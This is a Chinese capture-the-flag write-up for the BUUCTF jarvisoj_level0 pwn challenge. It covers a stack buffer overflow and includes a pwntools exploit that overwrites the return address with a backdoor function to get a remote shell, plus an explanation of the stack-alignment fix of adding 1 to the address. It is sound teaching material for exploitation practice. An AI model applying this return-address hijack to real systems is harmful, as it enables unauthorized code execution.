BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
其实防守也摸鱼22 分钟前
Web漏洞全景解析:从原理溯源到实战攻防的进阶指南
网络·web安全·网络安全·学习笔记·web类型漏洞
老张的张Z44 分钟前
CISSP 域3知识点 物理安全
安全·网络安全·安全架构
菩提小狗2 小时前
每日安全情报报告 · 2026-04-14
网络安全·漏洞·cve·安全情报·每日安全
漠月瑾-西安2 小时前
紫队:网络安全领域的“进化引擎”与协同哲学
网络安全·安全运营·红蓝对抗·攻防演练·紫队·安全成熟度
pencek15 小时前
HackMyVM-Azer
网络安全
达不溜的日记20 小时前
CAN总线网络传输层CanTp详解
网络·stm32·嵌入式硬件·网络协议·网络安全·信息与通信·信号处理
藤原千花的败北21 小时前
云存储AccessKey泄露漏洞(oss AK/SK)
网络安全
上海云盾王帅1 天前
如何抵御CC攻击?从原理到实战的全面防护手册
网络安全
大方子1 天前
【青少年CTF S1·2026 公益赛】Serialization
网络安全·青少年ctf
乾元1 天前
《硅基之盾》番外篇三:无形的捕网——AI 驱动的无线电信号情报(SIGINT)与硬件对抗
网络·人工智能·安全·机器学习·网络安全·安全架构